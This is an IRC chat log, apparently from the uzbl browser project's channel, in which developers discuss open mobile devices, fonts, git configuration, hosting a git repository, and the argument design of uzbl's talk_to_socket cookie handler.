16:12 < ruskie> I hope the n900 will be better at that
16:16 < Dieterbe> i hope the n900 will be the perfect device
16:16 < ruskie> that would be nice
16:16 < ruskie> especially to run uzbl on :)
16:16 < mason-l> I wish I could run arch on my android
16:17 < Dieterbe> good thing maemo is not as crippled as android
16:17 < ruskie> I'm hoping for mer myself
16:17 < ruskie> I wan't a Free Software stack
16:18 < ruskie> I can accept firmware but everything that runs needs to be Free Software
16:18 < Dieterbe> i'm okay with closed drivers for the communication stuff, as long as they work fine
16:18 < Dieterbe> as long as i have a very open userspace
16:18 < mason-l> On the android there not closed their just crap.
16:19 < ruskie> Dieterbe, well maemo userspace isn't 100% open
16:19 < ruskie> hildon and stuff is closed up
16:19 < mason-l> Given that I'm on the ass-end of the globe Optus (my carrier) has refused to push the android cupcake updates across the wire to fix our phones.
16:19 < Dieterbe> mason-l: + android's userspace is only java. no glibc and stuff, no C/bash/perl/.. stuff afaik
16:20  * Dieterbe googles for hildon
16:20 < mason-l> Or python
16:21 < Dieterbe> ruskie: is that a problem? i mean you can write your own things with xlib/gtk/fltk/... right?
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16:22 < ruskie> Dieterbe, considering it's their only UI interface atm yes
16:23 < Dieterbe> ruskie: and my 2nd question?
16:24 < ruskie> you can but then you need to write up your own wm and everything else :)
16:24 < ruskie> else it just looks out of place
16:26 < Dieterbe> hmm hildon doesn't look closed on first sight
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16:31 < ruskie> there are some bits open
16:31 < ruskie> but not everything
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16:34 < Dieterbe> i see
16:35 < Dieterbe> oh well, i can live with that.  i was expecting te be able to run.. say.. urxvt, ncurses programs like screen/joe/ncmpcpp, git,vim, ...
16:36 < ruskie> it might be able to run them
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16:36 < ruskie> I know there's an alpine build for the n800
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16:38 < Dieterbe> you have an n8*0 ?
16:38 < ruskie> no
16:39 < ruskie> was thinking of getting one but will wait for the n810
16:39 < ruskie> erm n900
16:39 < ruskie> I kinda want a mobile 3g terminal with phone
16:39 < ruskie> atm that's hone with n95 and a usb 3g modem on the eee701
16:41 < Dieterbe> yeah the n900 looks awesome. i'm also looking for the "perfect device", for which i think have similar requirements as you ( see http://bbs.archlinux.org/viewtopic.php?id=75385 )
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16:43 < ruskie> hmm bad request
16:43 < ruskie> Bad request. The link you followed is incorrect or outdated.
16:44 < mason-l> wow http://eeepc.net/sub-netbook-for-99/
16:45 < Dieterbe> ruskie: the arch forums are so nice to tell you that if you're not logged in
16:46 < ruskie> no account and don't plan on getting one
16:47 < ruskie> what's the topic name?
16:47 < ruskie> mason-l, at 2.5" my n95 beats it iirc
16:47 < Dieterbe> 'portable devices with SIM support, to use as phone?'
16:48 < Dieterbe> basically i want a device that is a very small computer that fits in my pocket, that is quite open so i can run my preffered tools on it (see above: git, vim, ...) but should also be usable as phone
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16:55 < ruskie> hmm no matter how much I search it's not there
16:56 < ruskie> but yeah I guess we do have the same goals
16:56 < ruskie> wrt to a mobile device
16:57 < Dieterbe> the n900 looks quite ideal
16:57 < ruskie> will see
16:57 < ruskie> my extra requirement is it needs to be Free Software
16:57 < ruskie> if this can be from point of purchase fine, if this can be grafted on afterwards fine
16:58 < ruskie> hence why I'm thinking about mer and not maemo
16:58 < ruskie> I'm fed up with the s60 and similar crud
16:58 < ruskie> my ancient n5110 is still THE BEST phone I ever had
16:58 < ruskie> and it still works at that
16:59 < Dieterbe> openpandora looks like a nice device, but it doesn't have cellular (gsm) equipment on board, neither a SIM slot.  i also could not find any software for linux that could make a linux system able to receive/make calls or send/receive sms'es
16:59 < ruskie> look at the openmoko project
16:59 < ruskie> plenty of software there
16:59 < Dieterbe> openmoko stuff is not even alpha quality
17:00 < ruskie> the telephony suit is more or less ok
17:00 < ruskie> their main prob was integrating all the bits toghtere
17:00 < ruskie> I wouldn't mind having an OpenBSD based phone myself though :)
17:01 < ruskie> as for making calls I believe it's just plain AT commands like modems of ancient times
17:01 < ruskie> receive you basicaly need to monitor it
17:02 < ruskie> don't recall what the stack is called though
17:05 < ruskie> ahh yes Paroli iirc
17:05 < ruskie> ahh that's just the frontend
17:05 < ruskie> the fso is the phone layer
17:07 < ruskie> http://www.freesmartphone.org/index.php/Main_Page
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17:07 < Dieterbe> hey looks cool
17:07 < ruskie> anyway the main problem I see them doing wrong is trying to do to much in the same spot
17:08 < ruskie> but I guess they learned that
17:13 < ruskie> to bad it was the hardway
17:13 < ruskie> the other thing I dislike about the freerunner is lack of a HW keyboard or atleast a keypad
17:14 < Dieterbe> yep
17:15 < ruskie> https://launchpad.net/notify-osd <-- hmm nice lightweight notification daemon
17:16 < Dieterbe> meh
17:18 < lwithers> ruskie: could be useful for a download manager
17:18 < Dieterbe> n5110 looks ancient indeed btw
17:18 < lwithers> shame firefox's downolad manager isn't a standalone thing
17:18 < ruskie> Dieterbe, it is
17:19 < ruskie> over 10 years
17:19 < ruskie> I've used it for 6 of those years
17:19 < ruskie> original battery and all
17:19 < ruskie> and it still lasted for a week
17:19 < ruskie> at the start it was like two weeks standby
17:19 < ruskie> mmm nice that my libre.fm account is getting populated
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17:27 < DuClare> How configurable is Notify OSD?
17:29 < DuClare> I still haven't found a satisfying stand-alone OSD thingy that can be properly utilized via CLI & scripts
17:29 < Dieterbe> dzen2 ?
17:29 < ruskie> dzen2 works fine for a lot of things :)
17:30 < DuClare> Dieterbe: Maybe, would have to try an scm build
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17:30 < ruskie> why
17:30 < DuClare> Make a guess?
17:30 < ruskie> doesn't build?
17:30 < ruskie> doesn't run?
17:30 < Dieterbe> your a ricer?
17:30 < Dieterbe> you're ;)
17:31 < DuClare> Has unreleased features I depend on :p
17:31 < Dieterbe> such as?
17:31  * ruskie searches for a nice image he can use as a basis of his slim theme
17:31 < DuClare> The basic fukup of most "lightweight nofication systems" is their lack of font support
17:32 < ruskie> I thought dzen2 supported fonts
17:32 < ruskie> though it's been a while since I ran it
17:32 < DuClare> Sure it does, but to be useful, you need to be able to use multiple fonts
17:33 < DuClare> I'm not aware of a single good & free font which has glyphs for everything
17:33  * Dieterbe scratches head
17:33 < DuClare> And I don't see why there should be one :p
17:34 < DuClare> Arial is probably the closest you can get ..
17:34 < DuClare> Not a big fan of Arial.
17:35  * Dieterbe never really cared about fonts
17:35 < Dieterbe> i just pick something that looks reasonably ok
17:36 < DuClare> Dieterbe: It's not only about looking "reasonably ok", it's about containing the characters you use.  How many fonts can do fancy latin chars, unicode symbols, Japanese, Korean?
17:37 < Dieterbe> i only need western characters
17:37 < DuClare> Sure, then you have no problems
17:38 < DuClare> But I'd be seeing boxes or question marks half the time
17:38 < Dieterbe> ok
17:38 < ruskie> I thought that most recent font engines just picked spare chars from whatever font it had available
17:39 < ruskie> atleast urxvt does that
17:39 < ruskie> and most browsers
17:39 < DuClare> ruskie: Urxvt does, but most "lightweight notification systems" don't
17:39 < DuClare> Browsers have done for ages
17:39 < DuClare> Actually, urxvt doesn't truly do
17:39 < ruskie> why not
17:39 < lwithers> NotifyOSD uses pango; doesn't pango handle char substitution?
17:40 < ruskie> probably
17:41 < DuClare> It just has a predefined set of fallback fonts.  But the important thing is that you can TELL it what fonts to use.  It's not just Arial or Bitstream Vera Sans Mono; It's DejaVu Sans Mono with hinting + Kochi Gothic with antialias turned off + IPAUiGothic with antialias turned off + some other font ... you get it?
17:42 < DuClare> If you don't happen to have the hardcoded fallback fonts urxvt uses, or the said fonts don't have the chars you need, you can still fix things simply by appending another font to the resource
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18:21 < mason-l> lwithers, I've made the changes to my cookie daemon that now handle abandoned sockets in the way you've recommended. The latest version of the daemon can be found at: http://github.com/mason-larobina/uzbl/blob/cookie_daemon/examples/data/uzbl/scripts/cookie_daemon.py
18:21 < mason-l> I'm off for the night.
18:21 < mason-l> Night guys.
18:22 < lwithers> cool, night
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18:59 < Dieterbe> nightnight Megant_ 
18:59 < Dieterbe> err sorry about that Megant_ 
18:59 < Dieterbe> nightnight mason-l: 
19:00 < holizz> Goodnight, all. Might not be on in the next two days. Interview in Berlin :)
19:01 < lwithers> gl
19:01 < holizz> Taa.
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19:03 < Dieterbe> note to all: tonight arch linux gets all my attention, not much uzbl for me tonight
19:08 < bob_f> Dieterbe: Unacceptable.
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20:35 < anna__> Hi there
20:36 < anna__> I have a problem checking out your git
20:36 < anna__> [~/test/uzbl]> git clone http://github.com/Dieterbe/uzbl
20:36 < anna__> Initialized empty Git repository in /data/home/anna/test/uzbl/uzbl/.git/
20:36 < anna__> fatal: http://github.com/Dieterbe/uzbl/info/refs not found: did you run git update-server-info on the server?
20:36 < anna__> Any idea?
20:37 < rob|> DuClare: re. dzen2 + multiple fonts, it does support that:  echo 'foo ^fn(font1)bar ^fn(font2)baz ...' | dzen2 -p
20:37 < N30N_> anna__: try with git://github.com/Dieterbe/uzbl.git ;)
20:38 < anna__> ouch, me can't past :/
20:38 < anna__> +e
20:38 < ruskie> so just add .git to your own url
20:38 < ruskie> ahh
20:39 < DuClare> rob|: Last time we discussed you said it's in SCM, unless I'm mistaken.  I've been too busy to build an SCM version .. :]
20:39 < rob|> DuClare: true, it's only available in svn
20:40 < rob|> still, it's just 2 commands you need to run to get it built ;)
20:42 < anna__> i am very exited about uzbl... this could well become a firefox killer, a web browser programmable by mere mortals has unlimited potential. :)
20:43 < rob|> so, the cookie thing seems to progress pretty nicely :)
20:46 < rob|> anna__: indeed :)
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21:04 < Deepspawn> anna__, I wouldn't call it firefox killer, even more I don't like the idea of uzbl becoming another firefox. But I agree with your excitement
21:06 < anna__> Deepspawn, i think firefox has proven that there is a community for building browser extensions that about do every kind of thing.
21:07 < Deepspawn> anna_ But we barely can reuse the firefox extensions, what you write for uzbl you can get it to work elsewhere
21:07 < anna__> But that was lockin approach, I look forward to something that is indeed more Unix philosophy
21:07 < Deepspawn> agreed
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23:00 < bob_f> Heh, http://www.channel4.com/
23:00 < bob_f> I guess they assume uzbl is a mobile browser.
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23:05 < Gentooer> so I just gave Vimperator a try, and it's link following works very, very well, whereas uzbl's does't work everywhere. is there a fundamental reason why uzbl's link following isn't as good?
23:06 < scj> Gentooer: which one are you using?
23:06 < scj> linkfollow.js works reasonably well
23:06 < Gentooer> the one's from the experimental git
23:07 < Gentooer> tried F, fl and fL
23:07 < scj> linkfollow.js is included, but not the default link follow script
23:08 < scj> or "default", I should say
23:09 < Gentooer> ah ok, i'll give that a try
23:13 < Gentooer> scj: i tried linkfollow.js from the main experimental git and it doesn't do anything, no errors or any kind of hints
23:14 < scj> Gentooer: are you sure it's loaded? you have to reload the script every time you change the page
23:15 < scj> using load_commit_handler is the suggested way
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23:27 < Gentooer> scj: I tried adding 'set load_commit_handler = chain "script $XDG_DATA_HOME/uzbl/scripts/linkfollow.js"', but still get nothing
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23:37 < scj> Gentooer: then I don't know. following the steps described in the header of linkfollow.js should be enough
23:44 < Gentooer> ah right, probably should have taken a look at the file :)
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00:36 < bjoernfan> Dieterbe: formfiller.sh, line 44, could use a dash in the domain matching regex.
00:36 < bjoernfan> And yeah, great work. Can't wait for the matching e-mail client. :)
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02:10 < bct> anybody know if the 'z' length modifier in a printf format is a GNUism?
02:10 < bct> e.g. printf("%zd", some_pointer);
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09:15 < Dieterbe> goodzzz morningzz
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09:25 < ruskie> lol
09:25 < ruskie> sleep are you eh ;)
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10:08 < lwithers> bct: %zd is C99
10:14 < mason-l> Hey guys
10:15 < mason-l> Hey lwithers
10:16 < lwithers> heya
10:17 < Dieterbe> hello dudes
10:17 < mason-l> Hey Dieterbe
10:18 < mason-l> Dieterbe, If you've got the time I'll send you a pull request for the changes I made to uzbl_tabbed.py last week adding session preset saving/loading/deleting/listing.
10:18 < mason-l> Or are you still working on arch?
10:21 < Dieterbe> yeah the coming days will probably be a lot of arch.
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11:21 < rob|> morning.
11:22 < Dieterbe> hey
11:22 < mason-l> Do you guys have colourised git outputs?
11:22 < rob|> nope
11:23 < mason-l> I.e. colourised files in your git status command when you make modifications to tracked files and etc?
11:23 < mason-l> Oh.
11:23 < mason-l> I'm just watching some "git-cast" online and this guys got some crazy git colouring.
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11:26 < rob|> i didn't feel the need for that, yet ;)
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11:27 < ruskie> mason-l, easy to enable
11:27 < mason-l> ruskie, Nice
11:28 < ruskie> git config ui.color auto
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11:28 < ruskie> I think it's like that
11:29 < mason-l> :( no luck
11:30 < ruskie> git config --global ui.color auto
11:30 < ruskie> that will set it in ~/.gitconfig file
11:31 < mason-l> no colouts
11:31 < mason-l> 'colours still
11:31 < ruskie> what git version?
11:31 < mason-l> And it set correctly in my .gitconfig
11:32 < ruskie> hmm
11:32 < mason-l> dev-util/git - Installed versions:  1.6.3.3(05:25:10 PM 07/28/2009)(bash-completion curl gtk iconv perl threads tk -cgi -cvs -doc -emacs -mozsha1 -ppcsha1 -subversion -webdav -xinetd)
11:33 < ruskie> hmm
11:33 < ruskie> maybe something changed
11:33 < DuClare> Perhaps color.ui?
11:34 < ruskie> ahh
11:34 < ruskie> I thought it was the other way around
11:34 < DuClare> I didn't think, I looked it up in the manpage :p
11:35 < mason-l> Awesome :D works now!
11:35 < ruskie> I rarel use git config
11:35 < DuClare> Same
11:35 < ruskie> usually just copy past things around the config files
11:35 < mason-l> Awww awesome, it colourises git log too
11:36 < ruskie> :)
11:37 < mason-l> ruskie, Know any other goodies?
11:37 < ruskie> not really
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11:37 < DuClare> emacs
11:37 < ruskie> I find git nice to use because it get's OUT of my face :)
11:37 < mason-l> vim
11:37 < ruskie> so don't have to deal with it to much and don't care much :)
11:37 < DuClare> ^ω^
11:37 < ruskie> vim is the ultimate :)
11:38 < DuClare> Nay.
11:38 < DuClare> I need another cup of coffee.
11:41 < Dieterbe> with vim, can you customize every single keybind?
11:43 < ruskie> I think so
11:46 < DuClare> With vim, can you remotely connect to your window manager and re-write its code on the fly while interactively receiving info about completions, function definitions & descriptions?
11:47 < Dieterbe> no, but we have <insert your shell here> and ssh for that
11:47 < DuClare> Dieterbe: How do you rewrite code without an editor?
11:47 < Dieterbe> <insert your favorite editor here>
11:47 < ruskie> erm
11:48 < ruskie> remotely connect to your window manager???
11:48 < ruskie> WTH is that?
11:48 < ruskie> X over TCP???
11:48 < DuClare> Dieterbe: How do I do that with vim if vim can't do it?
11:48 < Dieterbe> besides, with something like wmii you have a virtual FS, you don't even need an editor to modify it. just bash tab completion for filenames and such :)
11:48 < Dieterbe> DuClare: you would use vim only for the editing
11:49 < DuClare> Dieterbe: If it doesn't know how to connect to the running instance of my wm, you can't
11:49 < ruskie> what's this connect to the running instance of wm thing about??
11:50 < Dieterbe> DuClare has a solution (a complex and bloated solution, that is) for a problem that i can't imagine i would ever have
11:50 < DuClare> ruskie: Interactive interpreter, plus a protocol for two-way interaction with it over tcp, plus editor support
11:51 < ruskie> so in other words a bloated wm
11:51 < ruskie> using an OS with a crappy editor
11:51 < ruskie> I don't get it
11:58 < DuClare> Well, I have to admit I've run vim in emacs, but that was an accident ..
11:58 < DuClare> I still launch vim every now and then, because I'm too used to doing that :x
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12:01 < Dieterbe> imho emacs tries to solve problems that don't exist.  you should always try to solve problems by the most simple means
12:02 < DuClare> Problems, such as .. ?
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12:03 < Dieterbe> the need to remotely connect to your window manager and re-write its code on the fly while interactively receiving info about completions, function definitions & descriptions
12:04 < DuClare> It's not something emacs tries to solve
12:04 < DuClare> It's something emacs can do because it's so damn flexible and people have written a system like that
12:05 < rob|> heh, the eternal holy war..
12:05 < Dieterbe> :)
12:05 < rob|> i guess that's the sole purpose of emacs' and vim's existence
12:06 < Dieterbe> what, to have people arguing about which is best?
12:06 < ruskie> nano! nano! nano! nano!
12:07 < ruskie> ;)
12:11 < rob|> Dieterbe: yep
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12:26 < Dieterbe> ruskie: joe is pretty cool too imho
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13:23 < Dieterbe> hi kloeri 
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13:24 < kloeri> hiya Dieterbe :)
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13:26 < kloeri> hmm, I should try building uzbl on exherbo I think
13:27 < kloeri> now that you've piqued my interest I'll have to see for myself what this project is all about :)
13:28 < Dieterbe> kloeri: after reading your article, i think i can improve on one point: better clarifying who did what in news posts
13:28 < kloeri> yeah
13:28 < kloeri> we don't really have news posts in exherbo but definitely clarify that whenever you can
13:29 < kloeri> I did a huge blog post when exherbo turned 1yo a couple months ago trying to sum up all the important things that happened in that period and I made sure to mention several contributors directly by name in that post
13:30 < Dieterbe> right, i think i remember reading that post. especially the "it took 3 hours to hit slashdot" or something like that
13:30 < kloeri> it's a small thing for me but quite important for those people and they really deserve all the credit for their work imo
13:30 < kloeri> yeah, that was pretty crazy
13:31 < kloeri> it was supposed to be a fairly small and unimportant announcent and then we hit slashdot, theregister and a few other really big news sites in only a couple of hours
13:31 < Dieterbe> yes, i will improve on the news posts :) but other then that we're doing pretty good
13:31 < kloeri> took us rather by surprise I must say :)
13:31 < kloeri> cool
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13:32 < kloeri> this stuff is rather important to me (it's probably the one thing I spend most time on) so I'm rather happy to see somebody else share my ideas
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13:34 < Dieterbe> most of my time time on uzbl is about reviewing peoples code and merging it in.  now i want to go more to a model where people test more each others stuff so that each pull request takes less time to handle
13:34 < kloeri> that's actually happening to a large degree in exherbo
13:35 < kloeri> more experienced/longer-term contributors reviewing others patches if none of the "official" developers are around
13:36 < kloeri> I find that the process starts to feed itself after a while - you just need to get enough contributors and then you need to steer it ever so slightly
13:36 < kloeri> and I've had to tell one or two of my developers to _stop_ fixing all the easy bugs :p
13:37 < Dieterbe> :)
13:37 < kloeri> I'll probably have to tell some contributors the same thing soon I guess
13:37 < kloeri> people just get way too excited and steal all the work :)
13:38 < Dieterbe> hehe
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13:44 < Dieterbe> this "leader" role is actually quite fun.  it's interesting to think about workflows for merging/contributing etc
13:45 < Dieterbe> i've needed to revise the merging workflow a few times, and will probably need to do it more in the future
13:45 < kloeri> definitely
13:46 < kloeri> I've gone (more or less) from a completely technical person to a mostly management type person in exherbo and I likewise find all the processes quite interesting
13:46 < kloeri> I used to be interested in all this when I was a gentoo developer but exherbo has given me quite a few new challenges and have really helped me understand open source development much better
13:47 < kloeri> that might be the most important thing I've learned from exherbo actually
13:47 < helmut> can someone tell me whether GStrings are garbage collected? the uzbl.c source suggests this or is leaky.
13:49 < Dieterbe> kloeri: the funky part for uzbl is, i'm not good in C, so it was a more a management role from the start for me
13:49 < helmut> and if someone helps me to publish a git repo (I've got a ~/public_html) I can make some fixes for potential heisenbugs available.
13:50 < Dieterbe> kloeri: and the "visionary" role ;)
13:50 < kloeri> indeed :)
13:50 < mason-l> helmut, Have you played with github at all?
13:50 < helmut> mason-l: I don't want, sorry.
13:51 < helmut> mason-l: why should I? I've got a web server.
13:52 < scj> to avoid having to setup the web server..?
13:52 < mason-l> helmut, Valid point, but I cant help with self-hosting git repositories sorry :(
13:52 < mason-l> (No idea how :P)
13:53 < helmut> scj: not a good deal when in change I have to deal with suckish, nonworking flash.
13:54 < mason-l> helmut, Have you played around with gitosis?
13:55 < helmut> no.
13:55 < mason-l> Its listed in Gentoo's portage as software for hosting git repositories
13:56 < scj> what stuff on github is flash, besides that button for copying the url into clipboard?
13:56 < helmut> I thought I could just use git like darcs. With darcs I can just darcs put ~/public_html/repo and everything works.
13:56 < mason-l> scj, The network viewer
13:56 < scj> and that
13:57 < mason-l> helmut, Git likes to use the more efficient git:// protocol for remotely communicating/cloning/pulling/fetching from git repositories
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13:57 < mason-l> (more efficient for git that is)
13:57 < kloeri> helmut: I'd suggest using git format-patch and mailing and/or pasting the output somewhere
13:57 < scj> because I haven't really noticed the sucky, nonworking flash parts on github
13:58 < helmut> mason-l: that doesn't really matter for small repos like uzbl.
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13:59 < mason-l> helmut, If you are looking for a non-flash lightweight git repo hosting service some of the developers here prefer to use http://repo.or.cz/
14:00 < helmut> scj: flash sucks in general, so when you see flash, it sucks. then adobe flash is no longer an option as an implementation due to security issues. the flash objects on github don't work with gnash or swfdec.
14:01 < scj> helmut: yeah, I know that flash sucks and all, but it's not like you have to 'deal' with them on github
14:01 < helmut> I don't see why I should register with yet another service I can provide for myself.
14:02 < helmut> this just adds 1) new authentication credentials I have to manage 2) if something doesn't work I cannot blame myself.
14:02 < scj> to each their own
14:03 < mason-l> helmut, Then you may enjoy the repo hosting service built into git http://www.kernel.org/pub/software/scm/git/docs/git-instaweb.html
14:03 < mason-l> (warning: I haven't got it working myself yet though :P)
14:03 < rob|> helmut: if you don't want to go the easy route the only option is to rtfm i guess :P
14:04 < helmut> rob|: ack
14:04 < helmut> rob|: I like that route.
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14:05 < helmut> well it actually isn't that difficult
14:06 < mason-l> helmut, Are you trying git instaweb?
14:06 < helmut> just cd /where/it/should/live && git clone --bare /where/it/is/uzbl uzbl.git; done
14:06 < rob|> will that also give a http viewable version of the tree?
14:07 < helmut> rob|: no. it's bare
14:07 < rob|> that sucks
14:07 < helmut> why?
14:07 < helmut> I can also just remove --bare.
14:07 < rob|> cause it's nice to be able to view someone's work before pulling it/adding that person as remote
14:07 < rob|> s/pulling/cloning/
14:08 < helmut> no problem.
14:11 < mason-l> helmut, run: git instaweb --local   in a uzbl tree and watch the magic happen
14:12 < helmut> that'd require installing extra software...
14:12 < helmut> could we just close this discussion?
14:13 < rob|> helmut: oh, on another note there is no garbage collection in glib. though, 'grep g_string_free uzbl.c|wc -l' gives me 25 matches
14:13 < helmut> I found a way that works for me, so everything is fine.
14:13 < helmut> rob|: thanks! I don't really understand when to free GStrings then, but honestly I haven't fully done my rtfm yet.
14:14 < helmut> now a real question: would you be interested in splint annotations for upstream? (explanation follows:)
14:14 < rob|> helmut: well, as with every dynamically allocated data structure in C - when it isn't needed anymore ;)
14:15 < helmut> splint is a source code level verifying tool. one can add special comments that usually look like /*@splintstuff@*/ to give splint more information. an example is /*@null@*/ which tells splint that a pointer can hold the value NULL.
14:15 < rob|> helmut: GStrings have a slightly special behaviour though. you can either free the entire GString or leave the actual character string intact and only free the parts GStrings adds
14:17 < helmut> rob|: ah. ok. that makes up the bool parameter for g_string_free.
14:17 < rob|> right
14:17 < helmut> so what about splint annotations? (they're comments and therefore don't hurt)
14:19 < rob|> sure, why not.
14:20 < helmut> ok. then http://gnarfk.homelinux.org/~helmut/uzbl.git is a git repo and the helmut branch contains some fixes for fragile code.
14:22 < mason-l> helmut, I am unable to clone from your repo.
14:23 < rob|> helmut: see below
14:23 < rob|> git remote add -f helmut http://gnarfk.homelinux.org/~helmut/uzbl.git
14:23 < rob|> Updating helmut
14:23 < rob|> fatal: http://gnarfk.homelinux.org/~helmut/uzbl.git/info/refs not found: did you run git update-server-info on the server?
14:23 < rob|> error: Could not fetch helmut
14:23 < rob|> ^^
14:24 < helmut> ah. ok
14:24 < helmut> I ran that update-server-info command
14:25 < rob|> hmm, still errors out withe the same message
14:25 < helmut> well some client tried to use the repo as a bare repo.
14:26 < helmut> if git expects a bare repo, the url would have a .git appended.
14:26 < helmut> i.e. .../uzbl.git/.git/
14:26 < rob|> *brrr*
14:27 < rob|> alright, that works
14:27 < helmut> well you told me not to use a bare repo. ;-)
14:28 < rob|> no, i told you it'd be nice to have both :P
14:29 < helmut> whatever. it works now.
14:30 < mason-l> "fatal: Couldn't find remote ref helmut"
14:30 < mason-l> How do we grab your helmut branch
14:30 < mason-l> ?
14:32 < rob|> mason-l: 142051 < helmut> i.e. .../uzbl.git/.git/
14:33 < mason-l> I've got the repo. Its just that git branch -r only lists the master branch
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14:35 < rob|> yeah, there is only the master branch. i assume his master is diet's experimental (i do the same with my repo)
14:36 < rob|> hmm, the diff agains diet's experimental looks strange, though
14:36 < Dieterbe> wut?
14:36 < Dieterbe> something wrong with mah codes?
14:36 < mason-l> Dieterbe, You mentioned in a press article on uzbl a while ago that you didn't use uzbl as your main browser because of the terrible performance of the then cookie handler. Have you tried the new talk_to_socket & cookie_daemon.py mix?
14:37 < Dieterbe> mason-l: not yet
14:37 < Dieterbe> been busy
14:37 < Dieterbe> i think many people are waiting on this actually
14:37 < Dieterbe> so as soon as this is merged in i want to do a new release
14:37 < mason-l> Dieterbe, Well its not ready to be released yet.
14:37 < mason-l> (Not without a talk_to_socket that has a spawn ability)
14:38 < Dieterbe> ah
14:38 < mason-l> But the communication is superb.
14:38 < Dieterbe> lwithers liked the idea to do the spawning from inside uzbl, right?
14:39 < mason-l> Yeah. It's grown on me also having the spawn command in the talk_to_socket command (I.e. "talk_to_socket <path/to/socket> <daemon/launch/command>")
14:40 < helmut> rob|: what's wrong?
14:40 < helmut> rob|: my master branch should be that of Dieter.
14:40 < mason-l> helmut, You said your changes are in the helmut branch didnt you?
14:40 < helmut> mason-l: yes
14:41 < helmut> mason-l: and master != helmut.
14:41 < mason-l> helmut, Problem being that I cant see a helmut ref on the server
14:41 < helmut> strange.
14:41 < helmut> I'll ask my personal git guru soon.
14:41 < mason-l> helmut, Checkout the repo yourself and run: git branch -r
14:42 < mason-l> We can only see origin/HEAD and origin/master.
14:42 < mason-l> helmut, ok :)
14:42 < rob|> helmut: ah, that might explain it. i diffed your master against diet's experimental
14:44 < helmut> mason-l: well I actually tried to use that repo before pasting the url. I cloned it and checked out origin/helmut.
14:45 < rob|> helmut: anyways i guess it'll be better to develop with diet's experimental branch not master
14:45 < helmut> rob|: ok.
14:45 < helmut> rob|: well what I did was mostly fixing (potential) bugs.
14:46 < helmut> especially a (local) buffer overflow
14:47 < lwithers> Dieterbe, mason-l: yes talk_to_socket should take a 2nd argument and run that if it can't connect
14:47 < lwithers> however, this requires a cleanup of the handler code
14:47 < lwithers> and that looks like a big job unless someone is very familiar with it
14:48 < mason-l> lwithers, git blame :P
14:48 < mason-l> And find out who wrote it.
14:48 < Dieterbe> DuClare wrote the argument parsing/splitting etc
14:48 < Dieterbe> rob| should also be familiar with it
14:49 < DuClare> I never was in for injecting a predefined set of handler specific args, but I didn't want to break compatibility with what Dieterbe had designed so
14:49 < lwithers> the basic problem is that by the time you get to talk_to_socket
14:49 < DuClare> But then again back then we had no expansion yet so it was pretty much inevitable
14:49 < lwithers> you end up with a single list
14:49 < DuClare> Now it should be relatively easy to refactor
14:49 < lwithers> how do you tell what arguments go where?
14:50 < Dieterbe> since you can pass arbitrary things as commandline arguments like @uri and whatnot, we probably don't even need the predefined ones anymore
14:50 < mason-l> lwithers, Have you allowed for the fact that expand eats an enormous amount of \\\\\\\\\\\\\\'s ?
14:50 < lwithers> mason-l: that's nothing to do with me :)
14:51 < mason-l> lwithers, I mean is that the reason its reaching talk_to_socket as just a single string?
14:51 < rob|> expand() is a hungry beast, though we need some sort of escaping..
14:51 < DuClare> Can't sort of merge expand & split_quoted?
14:51 < DuClare> Use expansion & quotation everywhere in a consistent manner
14:51 < rob|> yeah, we should do that
14:52 < rob|> also, i think we should only use '\' for our internal escaping.
14:52 < lwithers> mason-l: no, arguments come in an array
14:54 < lwithers> basically, how does talk_to_socket tell the difference between "<sock_path> <arg0> <arg1> ..." and "<sock_path> <spawn_script> <arg0> <arg1>..."
14:55 < lwithers> with each <string> being a separate C string, and the whole lot coming in an array
14:55 < lwithers> or the args might even come as <sock_path> <arg0> ... <spawn_script>, I can't remember the ordering
14:56 < mason-l> lwithers, Isnt that the idea of the initial escaping I.e.: talk_to_socket "path/to/socket" "path/to/daemon"
14:56 < lwithers> no
14:56 < mason-l> :(
14:56 < lwithers> no, you're not quite understanding I think
14:57 < mason-l> I mean quoting, not escaping.
14:57 < lwithers> the arguments to talk_to_socket are already split into separate strings by whitespace
14:57 < lwithers> the issue is not quoting or escaping or splitting
14:57 < lwithers> it is simply that there is no way to tell an argument given in the config file
14:57 < mason-l> Well if its being split by whitespace then I beg to differ that its a quoting problem...
14:57 < lwithers> from an argument passed by uzbl itself (e.g. by the cookie put or get routine)
14:58 < mason-l> 'by only whitespace
14:58 < lwithers> no, it really isn't -- it's how do you tell config arguments from stuff that should be written to the socket?
14:58 < lwithers> maybe an example would help, give me a second
14:58 < DuClare> Be quick :x
14:59 < rob|> lwithers: you could simply use '-'
14:59 < rob|> as don't spawn anything
14:59 < lwithers> rob|: yes, could do, it's a hack though
14:59 < lwithers> best to sort it once and for all no?
14:59 < rob|> sure
15:00 < rob|> we do that for 'c
15:00 < rob|> damn
15:00 < rob|> ... for '-c', too
15:01 < mason-l> <rob|> lwithers: you could simply use '-' <-- Is there a problem just suppling a single argument to say the same: dont launch anything?
15:01 < rob|> i.e. '-c -' == read from stdin
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15:01 < lwithers> we could do it that way
15:01 < lwithers> we could also look for special arguments like --spawner=/path
15:02 < lwithers> but it would be best to solve in a clean, generic way, no?
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15:02 < mason-l> lwithers, I would prefer the --double-dash="convention" and -c "convention"
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15:02 < mason-l> to some custom .. thing.
15:02 < rob|> sure, though i don't see any other way than either require a fixed amount of minimum args or naming tghe args
15:03 < DuClare> Lesson, bbl →
15:03 < mason-l> And wouldnt you be able to use goptparse or something to read it?
15:03 < lwithers> but then how do you pass an argument through to a script? hope the names don't collide?
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15:03 < lwithers> example: http://paste2.org/p/345913
15:04 < lwithers> would it not be better for talk_to_socket() to get two string arrays?
15:04 < lwithers> first array would be arguments from the config file
15:04 < lwithers> second array would be arguments to write to the socket
15:04 < lwithers> totally unambiguous, no escaping needed, no hacks, can be expanded easily in future with no ramifications
15:05 < mason-l> ^ This.
15:05 < mason-l> lwithers, I see what you mean now (after looking at the example)
15:06 < lwithers> ok, so suggestions welcome :)
15:06 < rob|> lwithers: you're just shifting the problem. there is no such thing as a initial config file, everything can be changed at runtime
15:07 < lwithers> rob|: I don't think so
15:07 < lwithers> rob|: using two arrays of arguments, for example
15:07 < lwithers> rob|: only the first array (the ones with stuff from the config file) would need to be changed
15:07 < lwithers> rob|: that could be done at runtime too
15:07 < mason-l> rob|, But its a different case for handlers is it not? I dont see myself able to change "GET" to "PLACE" at runtime...
15:08 < mason-l> (To use the cookie handler call to talk_to_socket for example)
15:08 < rob|> ah, i guess i understand now
15:10 < lwithers> cool, I did look at making some sort of change to the code but I was a little out of my depth
15:13 < rob|> so basically uzbl should be able to differentiate between commands it gets from an external and commands it produces itself. and those should be held in separate array, right?
15:13 < rob|> ^external source
